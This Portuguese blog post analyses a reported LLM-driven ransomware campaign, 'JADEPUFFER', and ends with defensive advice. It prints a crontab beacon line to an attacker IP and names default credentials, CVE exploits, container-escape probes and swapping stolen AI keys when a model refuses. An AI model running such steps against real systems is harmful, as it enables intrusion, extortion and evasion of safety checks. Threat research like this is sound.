Imagine um ataque ransomware onde não existe um hacker no teclado. Nenhum ser humano digitando comandos, nenhum operador acompanhando a tela em tempo real. Só um agente autônomo movido por um LLM, raciocinando sobre cada passo, adaptando-se quando algo falha e narrando suas próprias decisões em linguagem natural enquanto destrói um banco de dados inteiro.

Parece ficção científica, mas a equipe de Threat Research da Sysdig documentou exatamente isso no início de julho de 2026. O nome do threat actor: JADEPUFFER. O veredito dos pesquisadores: o primeiro caso documentado de ransomware agêntico completo, do acesso inicial à extorsão, conduzido de ponta a ponta por um modelo de linguagem.

Eu sei o que você está pensando: “isso não é só um script automatizado com nome bonito?” A resposta curta é não. E a resposta longa é o que vamos ver agora.

O que aconteceu, afinal?

O ataque começou por uma vulnerabilidade já conhecida: a CVE-2025-3248, uma falha de autenticação ausente no Langflow, uma plataforma de orquestração de IA bastante popular. Essa falha permitia execução arbitrária de código Python sem nenhuma autenticação no endpoint de validação de código. Sim, qualquer pessoa (ou agente) podia mandar código Python e ele simplesmente executava.

O servidor Langflow comprometido não era o alvo final. Ele serviu como ponto de pivot para o verdadeiro objetivo: um servidor de produção exposto na internet rodando MySQL e o Alibaba Nacos (serviço de configuração e service discovery).

A partir daí, o agente de IA executou mais de 600 payloads distintos ao longo de sessões separadas por semanas, cada um com um objetivo claro e documentado em linguagem natural pelo próprio modelo.

A cadeia de ataque, passo a passo

Reconhecimento e coleta de credenciais

Assim que ganhou acesso ao servidor Langflow, o agente fez o que qualquer pentester faria: enumerou o host com id, uname -a, hostname e partiu para o que realmente importa: as variáveis de ambiente.

O LLM buscou sistematicamente:

• Chaves de API de provedores de IA (OpenAI, Anthropic, DeepSeek, Gemini)
• Credenciais de cloud (AWS, GCP, Azure, Alibaba, Tencent, Huawei)
• Carteiras de criptomoedas
• Credenciais de banco de dados

Depois, extraiu o banco Postgres que servia como backing store do Langflow, coletou credenciais e registros de usuários armazenados, salvou tudo em arquivos temporários e deletou os arquivos de staging para cobrir os rastros. Esse tipo de consciência operacional é exatamente o que diferencia um agente de um script.

MinIO: quando o default vira porta aberta

O agente descobriu uma instância MinIO (armazenamento de objetos compatível com S3) nos endereços canônicos de deploy containerizado (minio.internal:9000 e 127.0.0.1:9000). Usando as credenciais padrão minioadmin:minioadmin, listou todos os buckets: dados de aplicação, backups, artefatos de ML e, pasmem, terraform-state.

Aqui aparece um comportamento adaptativo que scripts não fazem: quando as requisições iniciais retornaram XML ao invés de JSON, o agente imediatamente reescreveu seu parser para lidar com o formato diferente. Sem erro, sem travar, sem esperar instrução humana.

Persistência: o cron de 30 minutos

Para garantir que não perderia o acesso, o LLM instalou uma entrada no crontab do servidor Langflow:

*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('http://45.131.66.106:4444/beacon',timeout=5)"

Beacon a cada 30 minutos para a infraestrutura do atacante. Simples, eficiente e difícil de detectar em um servidor que já roda Python o dia inteiro.

O Nacos e a janela de 31 segundos

Essa é a parte mais impressionante de toda a operação, e também a prova mais forte de que estamos lidando com um agente autônomo de verdade.

O alvo era o Alibaba Nacos, um serviço de configuração e service discovery usado em ambientes de microsserviços. O agente atacou em múltiplas frentes simultaneamente:

1. Explorou a CVE-2021-29441 (bypass de autenticação)
2. Tentou forjar JWTs usando a chave de assinatura padrão do Nacos
3. Tentou inserir um administrador backdoor diretamente nas tabelas do banco de dados do Nacos

E aqui é onde fica interessante. A timeline real:

31 segundos. Da falha ao diagnóstico, à correção e ao sucesso. O agente identificou que o problema estava no subprocess, trocou para import direto da biblioteca, limpou o registro anterior e criou um novo com o hash certo. Tudo em meio minuto.

Michael Clark, diretor sênior de Threat Research da Sysdig, foi direto: “O ciclo de 31 segundos entre falha e correção no backdoor do Nacos é o exemplo mais claro de onde a IA agêntica deu ao atacante uma vantagem real.” Um operador humano precisaria de significativamente mais tempo para diagnosticar, escrever e executar essa correção.

A destruição do banco de dados

Com acesso administrativo ao Nacos, o agente partiu para a fase de destruição. Usando a função AES_ENCRYPT() do MySQL, criptografou todas as 1.342 configurações de serviço armazenadas no Nacos.

Alguns detalhes técnicos que valem a pena destacar:

Algoritmo declarado: AES-256
Algoritmo real: AES-128-ECB
Chave: base64(uuid4().bytes + uuid4().bytes)

O agente gerou a chave de criptografia como um UUID aleatório codificado em base64. Até aí, tudo “profissional”. O problema? A chave foi impressa no stdout uma única vez e nunca foi armazenada nem transmitida. Ou seja: mesmo que a vítima pagasse o resgate, a recuperação seria impossível. A chave simplesmente não existe em lugar nenhum.

Depois da criptografia, o agente:

1. Dropou a tabela original config_info e o histórico
2. Criou uma tabela README_RANSOM com a demanda de resgate, endereço Bitcoin e contato Proton Mail
3. Escalou de deleção de linhas para dropar esquemas inteiros do banco

O endereço Bitcoin “alucinado”

Um detalhe que gerou debate entre pesquisadores: o endereço Bitcoin usado na nota de resgate (3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy) é o endereço de exemplo canônico da documentação Pay-to-Script-Hash. Esse endereço aparece em tutoriais, documentação oficial e Stack Overflow, ou seja, está saturado nos dados de treinamento de qualquer LLM.

A questão em aberto: o agente alucionou esse endereço a partir dos dados de treinamento, ou usou uma carteira real controlada pelo atacante? O endereço tem 737 transações confirmadas e cerca de 46 BTC de histórico, mas não está claro se algum pagamento de resgate foi para lá.

“Mas a IA realmente agiu sozinha?”

Essa é a pergunta que divide a comunidade de segurança. O TechCrunch publicou uma análise com o título “O primeiro ransomware por IA ainda precisava de um humano”, argumentando que:

• Um humano escolheu a vítima
• Um humano configurou a infraestrutura (servidores C2, domínios)
• Um humano forneceu as credenciais roubadas iniciais

E isso é verdade. O JADEPUFFER não é um Skynet que acordou sozinho e decidiu hackear servidores. A fase de planejamento estratégico, a seleção do alvo e a preparação da infraestrutura tiveram participação humana.

Mas a execução técnica? Essa foi inteiramente do agente. E é aí que mora o perigo. Como colocou Michael Clark:

“O modelo fechou loops que antes exigiam um humano habilidoso. O piso de habilidade para executar uma operação completa de ransomware caiu para o custo de rodar um agente.”

E se esse agente estiver rodando com credenciais roubadas via LLMjacking (uso indevido de compute de IA obtido por credenciais vazadas), o custo para o atacante se aproxima de zero.

As provas de autonomia

A Sysdig elencou quatro evidências principais de que o JADEPUFFER era de fato um agente autônomo e não um toolkit estático:

1. Código auto-narrado

Os payloads continham comentários extensos em linguagem natural explicando por que cada ação estava sendo tomada. Priorização de ROI dos alvos, identificação do “maior” banco de dados, descrição do propósito de cada etapa. Operadores humanos escrevem one-liners; LLMs geram código verboso com justificativas.

2. Diagnóstico de falhas em tempo real

Além do caso do Nacos (31 segundos), a enumeração do MinIO mostrou adaptação automática quando o XML veio no lugar de JSON. A falha na forja de JWT levou o agente a abandonar completamente essa abordagem e tentar outro vetor.

3. Compreensão contextual

O agente parseou texto livre dos alvos e tomou ações que demonstravam compreensão real do contexto, não apenas pattern matching.

4. Tentativa de escape de container

O LLM passou aproximadamente oito minutos sondando vetores de escape de container de forma metódica:

• Testou a primitiva de escrita de arquivo do MySQL (SELECT INTO OUTFILE)
• Verificou acesso ao Docker socket (/var/run/docker.sock)
• Sondou /proc/1/cgroup para detectar containerização
• Enumerou /proc/1/mountinfo e permissões de path
• Verificou possibilidades de escalação via User Defined Functions (UDF)

Depois da verificação, inseriu marcadores explícitos de limpeza ao invés de deixar rastros. Consciência operacional pura.

LLMjacking: o combustível invisível

Vale abrir um parêntese sobre o LLMjacking, porque ele é peça central nessa história. O conceito é simples: atacantes roubam credenciais de API de provedores de IA (OpenAI, Anthropic, Google) e usam o compute alheio para rodar seus agentes maliciosos. A vítima paga a conta, literalmente.

No caso do JADEPUFFER, o agente teve acesso a chaves de API da OpenAI, Anthropic, DeepSeek e Gemini que estavam nas variáveis de ambiente do servidor Langflow comprometido. Com múltiplos provedores disponíveis, o agente tinha redundância: se um modelo recusasse uma operação por guardrails de segurança, bastava trocar para outro.

Isso cria um cenário perverso. O atacante não gasta nada com compute. O dono do servidor Langflow paga a fatura inflada sem entender por quê. E o agente roda 24/7 sem supervisão, encadeando ataques com a mesma facilidade com que você pede para o ChatGPT resumir um PDF.

A Sysdig já vinha alertando sobre LLMjacking há meses, mas o JADEPUFFER é o primeiro caso onde essa técnica alimentou diretamente uma operação de ransomware completa.

O que isso significa na prática?

Vamos ser realistas aqui. O JADEPUFFER não usou nenhuma técnica nova individualmente. CVE-2025-3248 já era conhecida. CVE-2021-29441 tem patches desde 2021. Credenciais padrão do MinIO são um problema documentado há anos. Chaves de assinatura padrão do Nacos são um risco conhecido.

O que mudou é o custo de encadear tudo isso. Antes, você precisava de um operador que entendesse de reconhecimento, de exploração de vulnerabilidades, de movimentação lateral, de persistência e de extorsão. Agora, um agente de IA faz tudo em sequência, adaptando-se a falhas no caminho, por um custo próximo de zero.

A tabela abaixo resume a infraestrutura envolvida:

Como se proteger

Se você roda Langflow, Nacos, MinIO ou qualquer serviço de orquestração de IA em produção, as recomendações são diretas:

• Patch o Langflow para corrigir a CVE-2025-3248. Nunca exponha endpoints de execução de código na internet sem autenticação.
• Nunca exponha o Nacos diretamente na internet. Troque a token.secret.key padrão e atualize para versões que exigem chaves customizadas.
• Mude credenciais padrão do MinIO (e de qualquer outro serviço). minioadmin:minioadmin não é aceitável em produção.
• Não deploy servidores de orquestração de IA com chaves de API de provedores ou credenciais de cloud nas variáveis de ambiente. Use vaults, use secrets managers.
• Monitore padrões de execução anômalos: mais de 600 payloads em sequência rápida não é comportamento normal de nenhuma aplicação.

O piso de habilidade despencou

A frase do Michael Clark continua ecoando na minha cabeça: “O piso de habilidade para rodar ransomware caiu para o custo de um agente.” E com LLMjacking, esse custo é essencialmente zero.

Não estamos falando de um futuro distante. O JADEPUFFER aconteceu. As 600+ payloads foram capturadas. O banco de dados foi destruído. O bilhete de resgate foi entregue. E em nenhum momento houve um humano digitando comandos na fase de execução.

A boa notícia? As vulnerabilidades exploradas eram todas conhecidas e tinham patches disponíveis. A má notícia? A maioria dos servidores afetados provavelmente não aplicou esses patches. E agora existe um agente que pode encontrá-los e explorá-los mais rápido do que qualquer equipe de segurança consegue responder.

Se o seu servidor de produção ainda usa credenciais padrão ou tem serviços de orquestração expostos sem autenticação, o JADEPUFFER acabou de virar seu despertador.

—

Fonte de inspiração: JADEPUFFER: Agentic ransomware for automated database extortion (Sysdig Threat Research Team)